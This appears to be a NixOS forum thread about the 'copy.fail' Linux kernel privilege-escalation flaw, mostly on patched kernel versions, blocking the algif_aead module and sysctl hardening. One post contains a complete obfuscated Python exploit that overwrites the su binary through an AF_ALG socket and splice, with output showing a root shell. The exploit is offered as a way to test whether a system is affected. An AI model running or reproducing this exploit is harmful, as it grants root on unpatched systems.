Is nixos affected by copy.fail [EDIT: yes, it is.]

This is my boot configuration with the added suggestions of contributors to this thread. Any improvements?


{ config, pkgs, lib, ... }:

{
  boot.kernelPackages = lib.mkIf (lib.versionOlder pkgs.linux.version "6.18.22") (
    lib.mkDefault pkgs.linuxPackages_6_18
  );

  boot.extraModprobeConfig = "install algif_aead /bin/false";

  # Bootloader
  boot.loader.systemd-boot.enable = true;
  boot.loader.systemd-boot.editor = false;
  boot.loader.efi.canTouchEfiVariables = true;

  boot.kernelParams = [ "nvidia-drm.modeset=1" ];

  # Kernel hardening via sysctl
  boot.kernel.sysctl = {
    "kernel.kptr_restrict"                  = 2;
    "net.ipv4.tcp_syncookies"               = 1;
    "net.ipv4.tcp_rfc1337"                  = 1;
    "net.ipv4.conf.all.rp_filter"           = 1;
    "net.ipv4.conf.default.rp_filter"       = 1;
    "net.ipv4.conf.all.log_martians"        = true;
    "net.ipv4.conf.all.accept_redirects"    = 0;
    "net.ipv4.conf.default.accept_redirects" = 0;
    "net.ipv6.conf.all.accept_redirects"    = 0;
    "net.ipv6.conf.default.accept_redirects" = 0;
    "net.ipv4.conf.all.send_redirects"      = 0;
    "kernel.yama.ptrace_scope"              = 2;
    "net.core.bpf_jit_enable"              = 0;
    "kernel.ftrace_enabled"                = 0;
  };

  # Blacklist unused/insecure kernel modules
  boot.blacklistedKernelModules = [
    # Uncommon network protocols
    "ax25"
    "netrom"
    "rose"

    # Rare/legacy filesystems
    "adfs"
    "affs"
    "befs"
    "cramfs"
    "efs"
    "freevxfs"
    "hfs"
    "hfsplus"
    "hpfs"
    "jfs"
    "minix"
    "nilfs2"
    "omfs"
    "qnx4"
    "qnx6"
    "sysv"

    # Misc
    "vivid"
  ];
}

We are part of the embargoes for some issues.

In this specific case we were not but AFAIK no other distribs have been notified early.

This is unnecessary if you use an unaffected kernel and degrades performance for some cryptographic cyphers. Since you’re using the 6.18 kernel you can remove it. This is still a reasonable precaution, even if the module isn’t currently known to be vulnerable, see context further down.

Assuming you’ve updated, of course, make sure to double check with uname -a.

The nvidia modeset param should also not be set, the nvidia module does that for you, but that’s unrelated.

There are already a number of comments pointing out that 6.18.22, 6.19.12, and 7.0+ are all patched, but it’s also worth mentioning that this issue was also patched in 6.12.85. It looks like 25.11’s 6.12 kernel is currently on 6.12.83 (although according to the git history, it looks like it was already updated to 6.12.84, so I’m not sure why it’s still apparently on .83), so it is still unpatched. I’m sure the maintainers are a bit busy preparing for the 26.05 release, but this seems like something important enough to warrant a quick rollout for those on the default kernel for 25.11.

The PR in question is actually this one.

Here is how to check if your NixOS system is affected:

cat > exp <<'EOT'
#!/usr/bin/env python3
import os as g,zlib,socket as s
import sys
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open(sys.argv[1],0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
EOT

michael@vm-nix25-11 % nix run nixpkgs#python3 -- ./exp $(readlink -f /run/current-system/sw/bin/su)
bash-5.3# 

If you see a root prompt (bash-5.3#), the exploit works on your NixOS system.

Until nixos-25.11 is updated, an easy way to get a fixed kernel is to switch your nixpkgs.url in flake.nix inputs to release-25.11:

--- i/mx/flake.nix
+++ w/mx/flake.nix
@@ -1,6 +1,8 @@
 {
   inputs = {
-    nixpkgs.url = "github:nixos/nixpkgs/nixos-25.11";
+    # TODO(copy.fail): revert to nixos-25.11 once the channel promotes the
+    # 6.12.85 kernel bump (PR 515037, currently only in release-25.11).
+    nixpkgs.url = "github:nixos/nixpkgs/release-25.11";

After deploying and rebooting, you should be on Linux 6.12.85 and the exploit no longer works:

michael@vm-nix25-11 % uname -a
Linux vm-nix25-11 6.12.85 #1-NixOS SMP PREEMPT_DYNAMIC Thu Apr 30 09:14:47 UTC 2026 x86_64 GNU/Linux
michael@vm-nix25-11 % nix run nixpkgs#python3 -- ./exp $(readlink -f /run/current-system/sw/bin/su)
Password: 

Now, copy.fail is fixed: the exploit now results in a password prompt, not a root prompt without a password.

As a previous post mentioned, if you feel the impetus to get off 6.12, your can also do boot.kernelPackages = pkgs.linuxPackages_6_18. 6.18.22 and later is good as well.

pkgs.linuxPackages_hardened is also affected:

Linux nixos-template 6.12.69-hardened1 #1-NixOS SMP PREEMPT_DYNAMIC Fri Feb  6 15:55:51 UTC 2026 x86_64 GNU/Linux
nix-shell (~) python3 copyfail.py
bash-5.3# whoami
root

For the record, this will also force to you rebuild everything all the time. I would not recommend this, it will just confuse people. Just switch kernels, or apply the patch with overrideAttrs.

This discussion on hackernews seems to imply that it’s barely used anywhere and a common cause for CVEs and therefore it’s recommended to blacklist it permanently.

Do you have any deeper insight on this?

No, I was going by the blog post from the security firm who found it, but that blog post was likely LLM generated given context, so go with what the Linux contributor says. Sigh can’t even trust security researchers to properly educate about their own exploits anymore.

We should probably blacklist it upstream then?

so what is the tl;dr here? what should a concerned citizen do right now on NixOS 25.11?

Upgrade your kernel to 6.18.26 or 7.0.3.

I was convinced that 7.0.2 was already patched based on this: On a git repo that has as remotes https://github.com/torvalds/linux.git https://... | Hacker News

Not quite. To reiterate:

Those versions listed will work too, but the “concerned citizen” needs to upgrade to the latest kernel.

why? I’m not able to understand what you mean

The tl;dr fix is marked as the solution, just do that:

raspberry pi still not yet have the patched version of kernel